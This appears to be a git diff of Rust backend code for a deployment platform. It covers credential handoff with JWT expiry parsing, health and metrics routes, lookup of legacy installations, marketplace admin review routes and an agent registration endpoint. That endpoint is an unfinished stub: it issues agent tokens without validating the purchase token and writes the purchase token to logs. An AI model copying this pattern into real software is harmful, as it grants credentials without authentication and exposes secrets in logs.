user.access_token + .clone() + .map(|access_token| DeploymentHandoffCredentials { + expires_at: infer_access_token_expiry(&access_token).unwrap_or(handoff_expires_at), + access_token, + token_type: "Bearer".to_string(), + email: Some(user.email.clone()), + server_url: Some(server_url), + }) +} + +fn infer_access_token_expiry(token: &str) -> Option> { + #[derive(serde::Deserialize)] + struct JwtExpiryClaims { + exp: i64, + } + + use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; + + let payload = token.split('.').nth(1)?; + let decoded = URL_SAFE_NO_PAD.decode(payload).ok()?; + let claims: JwtExpiryClaims = serde_json::from_slice(&decoded).ok()?; + Utc.timestamp_opt(claims.exp, 0).single() +} + +fn infer_target(server: Option<&models::Server>) -> String { + match server { + Some(srv) if srv.cloud_id.is_some() => "cloud".to_string(), + Some(_) => "server".to_string(), + None => "local".to_string(), + } +} + +fn render_stacker_yml( + project: &models::Project, + deployment: &models::Deployment, + server: Option<&models::Server>, +) -> String { + let target = infer_target(server); + let mut lines = vec![ + format!("name: {}", quote_yaml(&project.name)), + "project:".to_string(), + format!(" identity: {}", quote_yaml(&project.name)), + "deploy:".to_string(), + format!(" target: {}", quote_yaml(&target)), + format!( + " deployment_hash: {}", + quote_yaml(&deployment.deployment_hash) + ), + ]; + + if let Some(srv) = server { + if target == "server" { + lines.push(" server:".to_string()); + if let Some(host) = srv.srv_ip.as_ref() { + lines.push(format!(" host: {}", quote_yaml(host))); + } + if let Some(user) = srv.ssh_user.as_ref() { + lines.push(format!(" user: {}", quote_yaml(user))); + } + if let Some(port) = srv.ssh_port { + lines.push(format!(" port: {}", port)); + } + } else if target == "cloud" { + lines.push(" cloud:".to_string()); + if let Some(server_name) = srv.name.as_ref().or(srv.server.as_ref()) { + lines.push(format!(" server: {}", quote_yaml(server_name))); + } + } + } + + lines.join("\n") + "\n" +} + +fn render_legacy_stacker_yml( + project_name: &str, + deployment_hash: &str, + target: &str, + installation: &crate::connectors::user_service::install::InstallationDetails, +) -> String { + let mut lines = vec![ + format!("name: {}", quote_yaml(project_name)), + "project:".to_string(), + format!(" identity: {}", quote_yaml(project_name)), + "deploy:".to_string(), + format!(" target: {}", quote_yaml(target)), + format!(" deployment_hash: {}", quote_yaml(deployment_hash)), + ]; + + if target == "server" { + lines.push(" server:".to_string()); + if let Some(host) = installation.server_ip.as_ref() { + lines.push(format!(" host: {}", quote_yaml(host))); + } + lines.push(" user: root".to_string()); + lines.push(" port: 22".to_string()); + } + + lines.join("\n") + "\n" +} + +fn quote_yaml(value: &str) -> String { + serde_yaml::to_string(value) + .map(|yaml| yaml.trim().to_string()) + .unwrap_or_else(|_| format!("{:?}", value)) +} + +fn resolve_public_base_url(request: &actix_web::HttpRequest) -> String { + let connection_info = request.connection_info(); + let scheme = connection_info.scheme(); + let host = connection_info.host(); + if !host.is_empty() { + format!("{}://{}", scheme, host) + } else { + DEFAULT_STACKER_URL.to_string() + } +} + +#[cfg(test)] +mod tests { + use super::*; + use actix_web::test::TestRequest; + use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; + use serde_json::json; + + fn test_user_with_token(token: &str) -> models::User { + models::User { + id: "user-1".to_string(), + first_name: "Test".to_string(), + last_name: "User".to_string(), + email: "user@example.com".to_string(), + role: "group_user".to_string(), + email_confirmed: true, + mfa_verified: false, + access_token: Some(token.to_string()), + } + } + + fn create_test_jwt(exp: i64) -> String { + let header = json!({"alg": "HS256", "typ": "JWT"}); + let payload = json!({"sub": "user-1", "email": "user@example.com", "exp": exp}); + format!( + "{}.{}.signature", + URL_SAFE_NO_PAD.encode(header.to_string()), + URL_SAFE_NO_PAD.encode(payload.to_string()), + ) + } + + #[test] + fn infers_access_token_expiry_from_jwt_exp_claim() { + let expected = Utc::now() + Duration::hours(6); + let token = create_test_jwt(expected.timestamp()); + + let inferred = infer_access_token_expiry(&token).expect("jwt expiry should be inferred"); + + assert_eq!(inferred.timestamp(), expected.timestamp()); + } + + #[test] + fn account_payload_is_marked_account_scoped() { + let request = TestRequest::default() + .insert_header(("host", "stacker.try.direct")) + .to_http_request(); + let expires_at = Utc::now() + Duration::hours(2); + let payload = + build_account_payload(&request, &test_user_with_token("opaque-token"), expires_at); + + assert!(payload.is_account_scoped()); + assert_eq!(payload.deployment.target, "account"); + assert_eq!( + payload.project.identity.as_deref(), + Some("user@example.com") + ); + assert_eq!(payload.lockfile, json!({})); + assert!(payload.stacker_yml.is_none()); + } +} diff --git a/stacker/stacker/src/routes/health_checks.rs b/stacker/stacker/src/routes/health_checks.rs new file mode 100644 index 0000000..95ef3a7 --- /dev/null +++ b/stacker/stacker/src/routes/health_checks.rs @@ -0,0 +1,34 @@ +use crate::health::{HealthChecker, HealthMetrics}; +use actix_web::{get, web, HttpResponse}; +use std::sync::Arc; + +#[get("")] +pub async fn health_check(checker: web::Data>) -> HttpResponse { + let health_response = checker.check_all().await; + + if health_response.is_operational() { + HttpResponse::Ok().json(health_response) + } else { + HttpResponse::ServiceUnavailable().json(health_response) + } +} + +#[get("/metrics")] +pub async fn health_metrics(metrics: web::Data>) -> HttpResponse { + let stats = metrics.get_all_stats().await; + HttpResponse::Ok().json(stats) +} + +#[get("")] +pub async fn prometheus_metrics() -> HttpResponse { + use prometheus::Encoder; + let encoder = prometheus::TextEncoder::new(); + let metric_families = prometheus::gather(); + let mut buffer = Vec::new(); + encoder.encode(&metric_families, &mut buffer).unwrap(); + let body = String::from_utf8(buffer).unwrap(); + + HttpResponse::Ok() + .content_type("text/plain; version=0.0.4; charset=utf-8") + .body(body) +} diff --git a/stacker/stacker/src/routes/legacy_installations.rs b/stacker/stacker/src/routes/legacy_installations.rs new file mode 100644 index 0000000..ecf4033 --- /dev/null +++ b/stacker/stacker/src/routes/legacy_installations.rs @@ -0,0 +1,198 @@ +use sqlx::PgPool; + +use crate::configuration::Settings; +use crate::connectors::config::UserServiceConfig; +use crate::connectors::user_service::install::{Installation, InstallationDetails}; +use crate::connectors::user_service::UserServiceClient; +use crate::helpers::JsonResponse; +use crate::{db, models}; + +pub enum OwnedDeployment { + Native(models::Deployment), + Legacy(InstallationDetails), +} + +fn build_user_service_client(settings: &Settings) -> Option { + let config = settings + .connectors + .user_service + .clone() + .unwrap_or_else(UserServiceConfig::default); + + if config.enabled { + return Some(UserServiceClient::new(config)); + } + + if settings.user_service_url.trim().is_empty() { + return None; + } + + let mut fallback = UserServiceConfig::default(); + fallback.base_url = settings.user_service_url.trim_end_matches('/').to_string(); + Some(UserServiceClient::new(fallback)) +} + +fn user_access_token(user: &models::User) -> Option<&str> { + user.access_token + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) +} + +fn map_installation_error(error: impl std::fmt::Display) -> actix_web::Error { + JsonResponse::::internal_server_error(error.to_string()) +} + +pub fn legacy_target_name(installation: &InstallationDetails) -> String { + installation + .domain + .clone() + .or_else(|| installation.stack_code.clone()) + .or_else(|| installation.deployment_hash.clone()) + .or_else(|| { + installation + .id + .map(|id| format!("legacy-installation-{}", id)) + }) + .unwrap_or_else(|| "legacy-installation".to_string()) +} + +pub fn infer_legacy_target(installation: &InstallationDetails) -> String { + if installation + .cloud + .as_ref() + .map(|value| !value.trim().is_empty()) + .unwrap_or(false) + { + "cloud".to_string() + } else if installation + .server_ip + .as_ref() + .map(|value| !value.trim().is_empty()) + .unwrap_or(false) + { + "server".to_string() + } else { + "local".to_string() + } +} + +pub async fn resolve_owned_deployment_by_hash( + pg_pool: &PgPool, + settings: &Settings, + user: &models::User, + deployment_hash: &str, +) -> Result { + let deployment = db::deployment::fetch_by_deployment_hash(pg_pool, deployment_hash) + .await + .map_err(JsonResponse::::internal_server_error)?; + + if let Some(deployment) = deployment { + if deployment.user_id.as_deref() == Some(&user.id) { + return Ok(OwnedDeployment::Native(deployment)); + } + return Err(JsonResponse::::not_found("Deployment not found")); + } + + let token = user_access_token(user) + .ok_or_else(|| JsonResponse::::not_found("Deployment not found"))?; + let client = build_user_service_client(settings) + .ok_or_else(|| JsonResponse::::not_found("Deployment not found"))?; + + match client + .get_installation_by_hash(token, deployment_hash) + .await + { + Ok(installation) => Ok(OwnedDeployment::Legacy(installation)), + Err(err) => { + tracing::warn!( + error = %err, + deployment_hash = deployment_hash, + "Direct legacy deployment lookup failed; falling back to installation list" + ); + let installation = client + .list_installations(token) + .await + .map_err(map_installation_error)? + .into_iter() + .find(|item| item.deployment_hash.as_deref() == Some(deployment_hash)) + .ok_or_else(|| JsonResponse::::not_found("Deployment not found"))?; + + hydrate_legacy_installation(&client, token, installation).await + } + } +} + +pub async fn resolve_owned_deployment_for_handoff( + pg_pool: &PgPool, + settings: &Settings, + user: &models::User, + deployment_id: Option, + deployment_hash: Option<&str>, +) -> Result { + if let Some(deployment_id) = deployment_id { + if let Ok(native_id) = i32::try_from(deployment_id) { + let deployment = db::deployment::fetch(pg_pool, native_id) + .await + .map_err(JsonResponse::::internal_server_error)?; + + if let Some(deployment) = deployment { + if deployment.user_id.as_deref() == Some(&user.id) { + return Ok(OwnedDeployment::Native(deployment)); + } + return Err(JsonResponse::::not_found("Deployment not found")); + } + } + + let token = user_access_token(user) + .ok_or_else(|| JsonResponse::::not_found("Deployment not found"))?; + let client = build_user_service_client(settings) + .ok_or_else(|| JsonResponse::::not_found("Deployment not found"))?; + + let installation = client + .get_installation(token, deployment_id) + .await + .map_err(map_installation_error)?; + + if let Some(expected_hash) = deployment_hash { + if installation.deployment_hash.as_deref() != Some(expected_hash) { + return Err(JsonResponse::::not_found("Deployment not found")); + } + } + + return Ok(OwnedDeployment::Legacy(installation)); + } + + let deployment_hash = deployment_hash.ok_or_else(|| { + JsonResponse::::bad_request("deployment_id or deployment_hash is required") + })?; + resolve_owned_deployment_by_hash(pg_pool, settings, user, deployment_hash).await +} + +async fn hydrate_legacy_installation( + client: &UserServiceClient, + token: &str, + installation: Installation, +) -> Result { + if let Some(installation_id) = installation.id { + return client + .get_installation(token, installation_id) + .await + .map(OwnedDeployment::Legacy) + .map_err(map_installation_error); + } + + Ok(OwnedDeployment::Legacy(InstallationDetails { + id: installation.id, + stack_code: installation.stack_code, + status: installation.status, + cloud: installation.cloud, + deployment_hash: installation.deployment_hash, + domain: installation.domain, + server_ip: None, + apps: None, + agent_config: None, + created_at: installation.created_at, + updated_at: installation.updated_at, + })) +} diff --git a/stacker/stacker/src/routes/marketplace/admin.rs b/stacker/stacker/src/routes/marketplace/admin.rs new file mode 100644 index 0000000..14897d8 --- /dev/null +++ b/stacker/stacker/src/routes/marketplace/admin.rs @@ -0,0 +1,695 @@ +use crate::connectors::user_service::UserServiceConnector; +use crate::connectors::{MarketplaceWebhookSender, WebhookSenderConfig}; +use crate::db; +use crate::helpers::security_validator; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{get, patch, post, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; +use tracing::Instrument; +use uuid; + +const ALLOWED_VENDOR_VERIFICATION_STATUSES: &[&str] = + &["unverified", "pending", "verified", "rejected"]; +const ALLOWED_VENDOR_ONBOARDING_STATUSES: &[&str] = &["not_started", "in_progress", "completed"]; + +#[tracing::instrument(name = "List submitted templates (admin)", skip_all)] +#[get("")] +pub async fn list_submitted_handler( + _admin: web::ReqData>, // role enforced by Casbin + pg_pool: web::Data, +) -> Result { + db::marketplace::admin_list_submitted(pg_pool.get_ref()) + .await + .map_err(|err| { + JsonResponse::>::build().internal_server_error(err) + }) + .map(|templates| JsonResponse::build().set_list(templates).ok("OK")) +} + +#[tracing::instrument(name = "Get template detail (admin)", skip_all)] +#[get("/{id}")] +pub async fn detail_handler( + _admin: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + let versions = db::marketplace::list_versions_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let reviews = db::marketplace::list_reviews_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let vendor_profile = db::marketplace::get_vendor_profile_by_creator( + pg_pool.get_ref(), + &template.creator_user_id, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .unwrap_or_else(|| { + models::MarketplaceVendorProfile::default_for_creator(&template.creator_user_id) + }); + + let mut detail = serde_json::to_value(&template).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?; + detail["template"] = serde_json::to_value(template).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?; + detail["versions"] = serde_json::to_value(versions).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?; + detail["reviews"] = serde_json::to_value(reviews).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?; + detail["vendor_profile"] = serde_json::to_value(vendor_profile).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?; + + Ok(JsonResponse::::build() + .set_item(detail) + .ok("OK")) +} + +#[derive(serde::Deserialize, Debug)] +pub struct AdminDecisionRequest { + pub decision: String, // approved|rejected|needs_changes + pub reason: Option, + pub verifications: Option, +} + +#[derive(serde::Deserialize, Debug)] +pub struct AdminReviewReasonRequest { + pub reason: Option, +} + +#[tracing::instrument(name = "Approve template (admin)", skip_all)] +#[post("/{id}/approve")] +pub async fn approve_handler( + admin: web::ReqData>, // role enforced by Casbin + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + let req = body.into_inner(); + + let updated = db::marketplace::admin_decide( + pg_pool.get_ref(), + &id, + &admin.id, + "approved", + req.reason.as_deref(), + req.verifications.as_ref(), + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if !updated { + return Err(JsonResponse::::build().bad_request("Not updated")); + } + + // Fetch template details for webhook + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch template for webhook: {:?}", err); + JsonResponse::::build().internal_server_error(err) + })? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + // Send webhook asynchronously (non-blocking) + // Don't fail the approval if webhook send fails - template is already approved + let template_clone = template.clone(); + tokio::spawn(async move { + match WebhookSenderConfig::from_env() { + Ok(config) => { + let sender = MarketplaceWebhookSender::new(config); + let span = + tracing::info_span!("send_approval_webhook", template_id = %template_clone.id); + + if let Err(e) = sender + .send_template_published( + &template_clone, + &template_clone.creator_user_id, + template_clone.category_code.clone(), + ) + .instrument(span) + .await + { + tracing::warn!("Failed to send template approval webhook: {:?}", e); + // Log but don't block - approval already persisted + } + } + Err(e) => { + tracing::warn!("Webhook sender config not available: {}", e); + // Gracefully handle missing config + } + } + }); + + Ok(JsonResponse::::build().ok("Approved")) +} + +#[tracing::instrument(name = "Reject template (admin)", skip_all)] +#[post("/{id}/reject")] +pub async fn reject_handler( + admin: web::ReqData>, // role enforced by Casbin + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + let req = body.into_inner(); + + let updated = db::marketplace::admin_decide( + pg_pool.get_ref(), + &id, + &admin.id, + "rejected", + req.reason.as_deref(), + req.verifications.as_ref(), + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if !updated { + return Err(JsonResponse::::build().bad_request("Not updated")); + } + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch template for rejection webhook: {:?}", err); + JsonResponse::::build().internal_server_error(err) + })? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + // Send webhook asynchronously (non-blocking) + // Don't fail the rejection if webhook send fails - template is already rejected + let template_clone = template.clone(); + let review_reason = req.reason.clone(); + tokio::spawn(async move { + match WebhookSenderConfig::from_env() { + Ok(config) => { + let sender = MarketplaceWebhookSender::new(config); + let span = tracing::info_span!( + "send_rejection_webhook", + template_id = %template_clone.id + ); + + if let Err(e) = sender + .send_template_review_rejected( + &template_clone, + &template_clone.creator_user_id, + review_reason.as_deref(), + ) + .instrument(span) + .await + { + tracing::warn!("Failed to send template rejection webhook: {:?}", e); + // Log but don't block - rejection already persisted + } + } + Err(e) => { + tracing::warn!("Webhook sender config not available: {}", e); + // Gracefully handle missing config + } + } + }); + + Ok(JsonResponse::::build().ok("Rejected")) +} + +#[tracing::instrument(name = "Mark template as needs changes (admin)", skip_all)] +#[post("/{id}/needs-changes")] +pub async fn needs_changes_handler( + admin: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + let req = body.into_inner(); + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + if template.status != "submitted" && template.status != "under_review" { + return Err(JsonResponse::::build() + .bad_request("Template cannot be marked as needs_changes from its current status")); + } + + let updated = db::marketplace::admin_decide( + pg_pool.get_ref(), + &id, + &admin.id, + "needs_changes", + req.reason.as_deref(), + None, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if !updated { + return Err(JsonResponse::::build().bad_request("Not updated")); + } + + let template_clone = template.clone(); + let review_reason = req.reason.clone(); + tokio::spawn(async move { + match WebhookSenderConfig::from_env() { + Ok(config) => { + let sender = MarketplaceWebhookSender::new(config); + let span = tracing::info_span!( + "send_needs_changes_webhook", + template_id = %template_clone.id + ); + + if let Err(e) = sender + .send_template_needs_changes( + &template_clone, + &template_clone.creator_user_id, + review_reason.as_deref(), + "Update the template based on the review feedback and resubmit it for review.", + ) + .instrument(span) + .await + { + tracing::warn!("Failed to send template needs-changes webhook: {:?}", e); + } + } + Err(e) => { + tracing::warn!("Webhook sender config not available: {}", e); + } + } + }); + + Ok(JsonResponse::::build().ok("Needs changes requested")) +} + +#[derive(serde::Deserialize, Debug)] +pub struct UnapproveRequest { + pub reason: Option, +} + +#[tracing::instrument(name = "Unapprove template (admin)", skip_all)] +#[post("/{id}/unapprove")] +pub async fn unapprove_handler( + admin: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + let req = body.into_inner(); + + let updated = + db::marketplace::admin_unapprove(pg_pool.get_ref(), &id, &admin.id, req.reason.as_deref()) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if !updated { + return Err(JsonResponse::::build() + .bad_request("Template is not approved or not found")); + } + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch template for unpublish webhook: {:?}", err); + JsonResponse::::build().internal_server_error(err) + })? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + // Send webhook to unpublish from marketplace while preserving subscription state + let template_clone = template.clone(); + tokio::spawn(async move { + match WebhookSenderConfig::from_env() { + Ok(config) => { + let sender = MarketplaceWebhookSender::new(config); + let span = tracing::info_span!( + "send_unapproval_webhook", + template_id = %template_clone.id + ); + + if let Err(e) = sender + .send_template_unpublished(&template_clone, &template_clone.creator_user_id) + .instrument(span) + .await + { + tracing::warn!("Failed to send template unapproval webhook: {:?}", e); + } + } + Err(e) => { + tracing::warn!("Webhook sender config not available: {}", e); + } + } + }); + + Ok(JsonResponse::::build() + .ok("Template unapproved and hidden from marketplace")) +} + +#[tracing::instrument(name = "Security scan template (admin)", skip_all)] +#[post("/{id}/security-scan")] +pub async fn security_scan_handler( + admin: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + // Fetch template + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + // Fetch versions to get latest stack_definition + let versions = db::marketplace::list_versions_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let latest = versions + .iter() + .find(|v| v.is_latest == Some(true)) + .or_else(|| versions.first()) + .ok_or_else(|| { + JsonResponse::::build() + .bad_request("No versions found for this template") + })?; + + // Run automated security validation + let report = security_validator::validate_stack_security(&latest.stack_definition); + + // Save scan result as a review record + let review = db::marketplace::save_security_scan( + pg_pool.get_ref(), + &id, + &admin.id, + report.to_checklist_json(), + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + // Always persist the hardened_images result (true/false) regardless of overall scan outcome. + // security_reviewed is only set when the scan passes all gates. + { + let mut verif_patch = serde_json::json!({}); + verif_patch["hardened_images"] = serde_json::Value::Bool(report.hardened_images.passed); + if report.overall_passed { + verif_patch["security_reviewed"] = serde_json::Value::Bool(true); + } + if let Err(e) = + db::marketplace::update_verifications(pg_pool.get_ref(), &id, verif_patch).await + { + tracing::warn!("Failed to auto-set verifications after scan: {}", e); + } + } + + let result = serde_json::json!({ + "template_id": template.id, + "template_name": template.name, + "version": latest.version, + "review_id": review.id, + "overall_passed": report.overall_passed, + "risk_score": report.risk_score, + "no_secrets": report.no_secrets, + "no_hardcoded_creds": report.no_hardcoded_creds, + "valid_docker_syntax": report.valid_docker_syntax, + "no_malicious_code": report.no_malicious_code, + "recommendations": report.recommendations, + }); + + Ok(JsonResponse::::build() + .set_item(result) + .ok("Security scan completed")) +} + +#[tracing::instrument(name = "List available plans from User Service", skip_all)] +#[get("/plans")] +pub async fn list_plans_handler( + _admin: web::ReqData>, // role enforced by Casbin + user_service: web::Data>, +) -> Result { + user_service + .list_available_plans() + .await + .map_err(|err| { + tracing::error!("Failed to fetch available plans: {:?}", err); + JsonResponse::::build() + .internal_server_error("Failed to fetch available plans from User Service") + }) + .map(|plans| { + // Convert PlanDefinition to JSON for response + let plan_json: Vec = plans + .iter() + .map(|p| { + serde_json::json!({ + "name": p.name, + "description": p.description, + "tier": p.tier, + "features": p.features + }) + }) + .collect(); + JsonResponse::build().set_list(plan_json).ok("OK") + }) +} + +#[derive(serde::Deserialize, Debug)] +pub struct AdminPricingRequest { + pub price: Option, + pub billing_cycle: Option, + pub required_plan_name: Option, + pub currency: Option, +} + +#[tracing::instrument(name = "Admin update template pricing", skip_all)] +#[patch("/{id}/pricing")] +pub async fn pricing_handler( + _admin: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let req = body.into_inner(); + let updated = db::marketplace::admin_update_pricing( + pg_pool.get_ref(), + &id, + req.price, + req.billing_cycle.as_deref(), + req.required_plan_name.as_deref(), + req.currency.as_deref(), + ) + .await + .map_err(|err| JsonResponse::::build().bad_request(err))?; + + if updated { + Ok(JsonResponse::::build().ok("Updated")) + } else { + Err(JsonResponse::::build().not_found("Template not found")) + } +} + +#[derive(serde::Deserialize, Debug)] +pub struct AdminVendorProfileRequest { + pub verification_status: Option, + pub onboarding_status: Option, + pub payouts_enabled: Option, + pub payout_provider: Option, + pub payout_account_ref: Option, + pub metadata: Option, +} + +fn validate_vendor_status( + field_name: &str, + value: Option<&str>, + allowed: &[&str], +) -> Result<(), actix_web::Error> { + if let Some(value) = value { + if !allowed.contains(&value) { + return Err( + JsonResponse::::build().bad_request(format!( + "Invalid {} '{}'. Allowed values: {}", + field_name, + value, + allowed.join(", ") + )), + ); + } + } + + Ok(()) +} + +#[tracing::instrument(name = "Admin update vendor profile", skip_all)] +#[patch("/{id}/vendor-profile")] +pub async fn update_vendor_profile_handler( + _admin: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let req = body.into_inner(); + + if req.verification_status.is_none() + && req.onboarding_status.is_none() + && req.payouts_enabled.is_none() + && req.payout_provider.is_none() + && req.payout_account_ref.is_none() + && req.metadata.is_none() + { + return Err(JsonResponse::::build() + .bad_request("No vendor profile fields provided")); + } + + validate_vendor_status( + "verification_status", + req.verification_status.as_deref(), + ALLOWED_VENDOR_VERIFICATION_STATUSES, + )?; + validate_vendor_status( + "onboarding_status", + req.onboarding_status.as_deref(), + ALLOWED_VENDOR_ONBOARDING_STATUSES, + )?; + + if let Some(metadata) = req.metadata.as_ref() { + if !metadata.is_object() { + return Err(JsonResponse::::build() + .bad_request("metadata must be a JSON object")); + } + } + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + db::marketplace::upsert_vendor_profile( + pg_pool.get_ref(), + &template.creator_user_id, + req.verification_status.as_deref(), + req.onboarding_status.as_deref(), + req.payouts_enabled, + req.payout_provider.as_deref(), + req.payout_account_ref.as_deref(), + req.metadata, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + Ok(JsonResponse::::build().ok("Vendor profile updated")) +} + +/// Request body for PATCH /{id}/verifications. +/// Each key is a boolean flag. Unknown keys are accepted and stored as-is. +/// Omitted keys are not touched (partial update via JSONB `||`). +#[derive(serde::Deserialize, Debug)] +pub struct AdminVerificationsRequest { + pub security_reviewed: Option, + pub https_ready: Option, + pub open_source: Option, + pub maintained: Option, + pub vulnerability_scanned: Option, + /// Whether the stack uses hardened Docker images (auto-detected by security scan, + /// but can also be set manually by the admin). + pub hardened_images: Option, +} + +#[tracing::instrument(name = "Admin update template verifications", skip_all)] +#[patch("/{id}/verifications")] +pub async fn update_verifications_handler( + _admin: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let req = body.into_inner(); + + // Build a partial JSONB patch containing only the supplied fields + let mut patch = serde_json::Map::new(); + if let Some(v) = req.security_reviewed { + patch.insert("security_reviewed".to_string(), serde_json::Value::Bool(v)); + } + if let Some(v) = req.https_ready { + patch.insert("https_ready".to_string(), serde_json::Value::Bool(v)); + } + if let Some(v) = req.open_source { + patch.insert("open_source".to_string(), serde_json::Value::Bool(v)); + } + if let Some(v) = req.maintained { + patch.insert("maintained".to_string(), serde_json::Value::Bool(v)); + } + if let Some(v) = req.vulnerability_scanned { + patch.insert( + "vulnerability_scanned".to_string(), + serde_json::Value::Bool(v), + ); + } + if let Some(v) = req.hardened_images { + patch.insert("hardened_images".to_string(), serde_json::Value::Bool(v)); + } + + if patch.is_empty() { + return Err(JsonResponse::::build() + .bad_request("No verification flags provided")); + } + + let updated = db::marketplace::update_verifications( + pg_pool.get_ref(), + &id, + serde_json::Value::Object(patch), + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if updated { + Ok(JsonResponse::::build().ok("Verifications updated")) + } else { + Err(JsonResponse::::build().not_found("Template not found")) + } +} diff --git a/stacker/stacker/src/routes/marketplace/agent.rs b/stacker/stacker/src/routes/marketplace/agent.rs new file mode 100644 index 0000000..fbc296c --- /dev/null +++ b/stacker/stacker/src/routes/marketplace/agent.rs @@ -0,0 +1,65 @@ +use actix_web::{post, web, HttpResponse, Result}; +use sqlx::PgPool; + +#[derive(Debug, serde::Deserialize)] +pub struct AgentRegisterRequest { + pub purchase_token: String, + pub server_fingerprint: serde_json::Value, + pub stack_id: String, +} + +#[derive(Debug, serde::Serialize)] +pub struct AgentRegisterResponse { + pub agent_id: String, + pub agent_token: String, + pub deployment_hash: String, + pub dashboard_url: String, +} + +/// Generate a secure random token (64 characters) +fn generate_token() -> String { + use rand::Rng; + const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + let mut rng = rand::thread_rng(); + (0..64) + .map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }) + .collect() +} + +#[tracing::instrument(name = "Register marketplace agent", skip_all)] +#[post("/register")] +pub async fn register_marketplace_agent_handler( + _pg_pool: web::Data, + body: web::Json, +) -> Result { + let req = body.into_inner(); + + // TODO: 1. Validate purchase token with User Service + // POST /marketplace/purchase-token/validate + // TODO: 2. Create agent record in DB + // TODO: 3. Create deployment record + // TODO: 4. Call User Service /marketplace/link-deployment + + tracing::info!( + "Marketplace agent registration: purchase_token={}, stack_id={}", + req.purchase_token, + req.stack_id + ); + + let agent_id = uuid::Uuid::new_v4().to_string(); + let agent_token = generate_token(); + let deployment_hash = format!("mkt_{}", &agent_id[..8]); + + let response = AgentRegisterResponse { + agent_id, + agent_token, + deployment_hash, + dashboard_url: std::env::var("STACKER_PUBLIC_URL") + .unwrap_or_else(|_| "https://stacker.try.direct".to_string()), + }; + + Ok(HttpResponse::Created().json(response)) +} diff 